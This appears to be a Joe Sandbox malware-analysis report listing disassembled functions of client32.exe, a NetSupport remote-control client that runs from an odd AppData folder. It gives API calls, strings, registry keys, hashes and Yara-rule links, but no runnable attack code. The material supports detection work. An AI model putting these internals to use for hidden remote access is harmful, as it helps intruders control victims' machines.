Opcode ID: 503f2c815b640c3d0002ea6c51c91ecd6f409461de15ff16a7ff97f3048ceaf6
Instruction ID: fa910be19caf0a14a4f119543ead50e584fafd0cecff00e00c2366bf95bcdf21
Opcode Fuzzy Hash: 503f2c815b640c3d0002ea6c51c91ecd6f409461de15ff16a7ff97f3048ceaf6
Instruction Fuzzy Hash: 2AE092A4E5460C9BF300A6498C11BAAFACC174475BFC4C051BFF9AB6A3E9299904C6D2

Function 11103630 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90registryCOMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32(NSMDesktopWnd), ref: 11103683
GetStockObject.GDI32(00000004), ref: 111036DB
RegisterClassA.USER32(?), ref: 111036EF
CreateWindowExA.USER32(00000000,NSMDesktopWnd,?,00000000,00000000,00000000,00000000,00000000,00130000,00000000,11000000,00000000), ref: 1110372C

Strings

NSMDesktopWnd, xrefs: 11103669, 111036E8, 11103726

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AtomClassCreateGlobalObjectRegisterStockWindow
String ID: NSMDesktopWnd
API String ID: 2669163067-206650970
Opcode ID: 3079baf332cc25a70c3d3df9c832fc0325efe936172018c4c3e6d8e20cf8610c
Instruction ID: a046934e961b92c42b42225909fe4a4d9db65d03d00dbebfa88e6fdde24b4f4f
Opcode Fuzzy Hash: 3079baf332cc25a70c3d3df9c832fc0325efe936172018c4c3e6d8e20cf8610c
Instruction Fuzzy Hash: E031F4B4D01719AFCB44CFA9D980AAEFBF8FB08314F50462EE42AE3244E7355900CB94

Function 11145F00 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Productive Computer Insight\PCICTL,00000000,00000100,?,00000000,00000000), ref: 11145F70
RegCloseKey.ADVAPI32(?), ref: 11145FD4

Strings

SOFTWARE\Productive Computer Insight\PCICTL, xrefs: 11145F37, 11145F6E
SOFTWARE\NetSupport Ltd\PCICTL, xrefs: 11145F50
ForceRTL, xrefs: 11145F93

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: ForceRTL$SOFTWARE\NetSupport Ltd\PCICTL$SOFTWARE\Productive Computer Insight\PCICTL
API String ID: 47109696-3245241687
Opcode ID: a2c2ae4e5c4c2a275a787743371364b614ebaa02131a0ba05eddfad67ef0d136
Instruction ID: 1d1f817806b548678a0140876f7b35b9e852c49707e53231e183cf95c3cf5809
Opcode Fuzzy Hash: a2c2ae4e5c4c2a275a787743371364b614ebaa02131a0ba05eddfad67ef0d136
Instruction Fuzzy Hash: 1E21DD71E0022A9BE764DA64CD80FDEF778AB45718F1041AAE81DF3941D7319D458BA3

Function 111121E0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 11112140: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1111216A
Part of subcall function 11112140: __wsplitpath.LIBCMT ref: 11112185
Part of subcall function 11112140: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 111121B9

GetComputerNameA.KERNEL32(?,?), ref: 11112288

Strings

\Registry\Machine\SOFTWARE\Classes\N%x, xrefs: 11112230
ACM, xrefs: 11112242
\Registry\Machine\SOFTWARE\Classes\N%x.%s, xrefs: 11112297
, xrefs: 11112281

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ComputerDirectoryInformationNameSystemVolume__wsplitpath
String ID: $ACM$\Registry\Machine\SOFTWARE\Classes\N%x$\Registry\Machine\SOFTWARE\Classes\N%x.%s
API String ID: 806825551-1858614750
Opcode ID: 48ba6f8863ffcd44e27bad5e20faa5f1087748d5dcdcaea7fc0175279a4e57c4
Instruction ID: ca260b95ce0435fc80d5678de4b29a4f2f4f697687454b99fdfeb2ddb07782e0
Opcode Fuzzy Hash: 48ba6f8863ffcd44e27bad5e20faa5f1087748d5dcdcaea7fc0175279a4e57c4
Instruction Fuzzy Hash: C62149B6A042855AD701CE70DD80BFFFFAADB8A204F1445B8D851CB545E736D604C390

Function 11144DD0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 111447F0: GetCurrentProcess.KERNEL32(11029A9F,?,11144A43,?), ref: 111447FC
Part of subcall function 111447F0: GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe,00000104,?,11144A43,?), ref: 11144819

WaitForMultipleObjects.KERNEL32(00000000,?,00000000,000000FF), ref: 11144E25
ResetEvent.KERNEL32(0000026C), ref: 11144E39
SetEvent.KERNEL32(0000026C), ref: 11144E4F
WaitForMultipleObjects.KERNEL32(00000000,?,00000000,000000FF), ref: 11144E5E

Strings

MiniDump, xrefs: 11144DD7

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EventMultipleObjectsWait$CurrentFileModuleNameProcessReset
String ID: MiniDump
API String ID: 1494854734-2840755058
Opcode ID: 105b93f749375231fdcb9b481c982d061f92632bc0342d7f03e4e2231c0d94ee
Instruction ID: ea994b22643fb5a56552c53957c3f10a02c9a0f0123a866c2d557df6367c4d32
Opcode Fuzzy Hash: 105b93f749375231fdcb9b481c982d061f92632bc0342d7f03e4e2231c0d94ee
Instruction Fuzzy Hash: 1F112975A8412577E710DBA8DC81F9BF768AB04B28F200230E634E7AC4EB74A50587A1

Function 111479B0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

LoadStringA.USER32(00000000,0000194E,?,00000400), ref: 111479DF
wsprintfA.USER32 ref: 11147A16

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

..\ctl32\util.cpp, xrefs: 11147A2B
#%d, xrefs: 11147A10
i < _tsizeof (buf), xrefs: 11147A30

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastLoadMessageProcessString
String ID: #%d$..\ctl32\util.cpp$i < _tsizeof (buf)
API String ID: 1985783259-2296142801
Opcode ID: ea150ba1ed1813b9988ca83ab64a483803357b5974e9feb7492af342d5ed009e
Instruction ID: f4f04ea69c0c381d0959b313e9907706ba85fe26c30e15a9a088fcfc7c116df7
Opcode Fuzzy Hash: ea150ba1ed1813b9988ca83ab64a483803357b5974e9feb7492af342d5ed009e
Instruction Fuzzy Hash: 6811E5FAE00218A7D710DEA49D81FEAF36C9B44608F100165FB08F6141EB70AA05CBE4

Function 111101B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 111101C9

Part of subcall function 11163A11: __FF_MSGBANNER.LIBCMT ref: 11163A2A
Part of subcall function 11163A11: __NMSG_WRITE.LIBCMT ref: 11163A31
Part of subcall function 11163A11: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163A56

wsprintfA.USER32 ref: 111101E4

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

_memset.LIBCMT ref: 11110207

Strings

..\ctl32\Refcount.cpp, xrefs: 111101F5
Can't alloc %u bytes, xrefs: 111101DE

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$AllocateErrorExitHeapLastMessageProcess_malloc_memset
String ID: ..\ctl32\Refcount.cpp$Can't alloc %u bytes
API String ID: 3234921582-2664294811
Opcode ID: cdd1c54386482822face1726c8a555e59ef6984596166c085d167c5bbae17b0a
Instruction ID: 098e5996781ad60247c7fcf5caa4ca36f886f8102b778af333740a2f918ca33d
Opcode Fuzzy Hash: cdd1c54386482822face1726c8a555e59ef6984596166c085d167c5bbae17b0a
Instruction Fuzzy Hash: C0F0F6B6E4022863C7209AA49D01FEFF37C9F91609F0001A9FE05B7241EA75AA11C7E5

Function 111466B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 11145C70: GetVersionExA.KERNEL32(111F1EF0,75BF8400), ref: 11145CA0
Part of subcall function 11145C70: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 11145CDF
Part of subcall function 11145C70: _memset.LIBCMT ref: 11145CFD
Part of subcall function 11145C70: _strncpy.LIBCMT ref: 11145DCA

LoadLibraryA.KERNEL32(shcore.dll,00000000,?,11030D50,00000002), ref: 111466CF
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness), ref: 111466E1
FreeLibrary.KERNEL32(00000000,?,11030D50,00000002), ref: 111466F4

Strings

SetProcessDpiAwareness, xrefs: 111466DB
shcore.dll, xrefs: 111466CA

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadOpenProcVersion_memset_strncpy
String ID: SetProcessDpiAwareness$shcore.dll
API String ID: 1108920153-1959555903
Opcode ID: e3234517993a23a489bcd726e27309146a97354540acbce9dede09c4332e6aa4
Instruction ID: b4913e853cd1401fb26aad2e9137c069c6cdc321efb83b495f2c8eb55c4c44ed
Opcode Fuzzy Hash: e3234517993a23a489bcd726e27309146a97354540acbce9dede09c4332e6aa4
Instruction Fuzzy Hash: CDF0A03A781225A3E51912AABD58B9ABB5C9BC1A7EF150230F929D6DC0DB50C50082B5

Function 11031F30 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 78COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11031FE6

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

m_pDoInv == NULL, xrefs: 11031F63
562258, xrefs: 11031FC7
%s%s.bin, xrefs: 11031FE0
clientinv.cpp, xrefs: 11031F5E

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastMessageProcess
String ID: %s%s.bin$562258$clientinv.cpp$m_pDoInv == NULL
API String ID: 4180936305-24552472
Opcode ID: 1cb657f4e915e2d1e23f9df1b2d29e1dc20b61536471740f5e16ca5fcb139327
Instruction ID: 4b30c984cb9feb044c1d7ab8c0844ab34c920fbc261825ed793c706054f3ad77
Opcode Fuzzy Hash: 1cb657f4e915e2d1e23f9df1b2d29e1dc20b61536471740f5e16ca5fcb139327
Instruction Fuzzy Hash: D82190B5F00705AFD710CF65CC41BAAB7F4EB88758F10853DE86697681EB35A8008B51

Function 11145240 Relevance: 7.6, APIs: 5, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(11145918,00000000,?,11145918,00000000), ref: 1114525C
__strdup.LIBCMT ref: 11145277

Part of subcall function 11081E00: _strrchr.LIBCMT ref: 11081E0E

Part of subcall function 11145240: _free.LIBCMT ref: 1114529E

_free.LIBCMT ref: 111452AC

Part of subcall function 11163AA5: HeapFree.KERNEL32(00000000,00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ABB
Part of subcall function 11163AA5: GetLastError.KERNEL32(00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ACD

CreateDirectoryA.KERNEL32(11145918,00000000,?,?,?,11145918,00000000), ref: 111452B7

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$AttributesCreateDirectoryErrorFileFreeHeapLast__strdup_strrchr
String ID:
API String ID: 398584587-0
Opcode ID: 0f4bda93c2fa95a79c6cfec15824fc43f5b70deef06045cf9c901e7bc6b82896
Instruction ID: a914e2cea8ad1481f503ba01f1d1a08edacf548165b8a11fd341c03149d2e1b0
Opcode Fuzzy Hash: 0f4bda93c2fa95a79c6cfec15824fc43f5b70deef06045cf9c901e7bc6b82896
Instruction Fuzzy Hash: 9301D276A04216ABF34115BD6D01FABBB8C8BD2A78F240173F84DD6A81E752E41681A2

Function 1100EE20 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 1100EE52

Part of subcall function 111616DA: _setlocale.LIBCMT ref: 111616EC

_free.LIBCMT ref: 1100EE64

Part of subcall function 11163AA5: HeapFree.KERNEL32(00000000,00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ABB
Part of subcall function 11163AA5: GetLastError.KERNEL32(00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ACD

_free.LIBCMT ref: 1100EE77
_free.LIBCMT ref: 1100EE8A
_free.LIBCMT ref: 1100EE9D

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLastLocinfo::_Locinfo_dtor_setlocalestd::_
String ID:
API String ID: 3515823920-0
Opcode ID: ed7eb8e9888c5118949983cd0268dd79b6cba560ecac2a4a446fb5dc8afa845e
Instruction ID: a44a88996e3d62c283fa82fd04d5e1258298656dbf2da44853d36c331dab430a
Opcode Fuzzy Hash: ed7eb8e9888c5118949983cd0268dd79b6cba560ecac2a4a446fb5dc8afa845e
Instruction Fuzzy Hash: 9511B2F2D046559BE720CF99D800A5BFBECEB50764F144A2AE49AD3640E7B2F904CA51

Function 111464E0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

Part of subcall function 111457A0: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11195AD8), ref: 1114580D
Part of subcall function 111457A0: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1111025B), ref: 1114584E
Part of subcall function 111457A0: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 111458AB

wsprintfA.USER32 ref: 1114650E
wsprintfA.USER32 ref: 11146524

Part of subcall function 11143E00: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1111025B,75BF8400,?), ref: 11143E97
Part of subcall function 11143E00: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 11143EB7
Part of subcall function 11143E00: FindCloseChangeNotification.KERNEL32(00000000), ref: 11143EBF

Strings

NSM.LIC, xrefs: 111464F3
%sNSA.LIC, xrefs: 1114651E
%sNSM.LIC, xrefs: 11146508

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
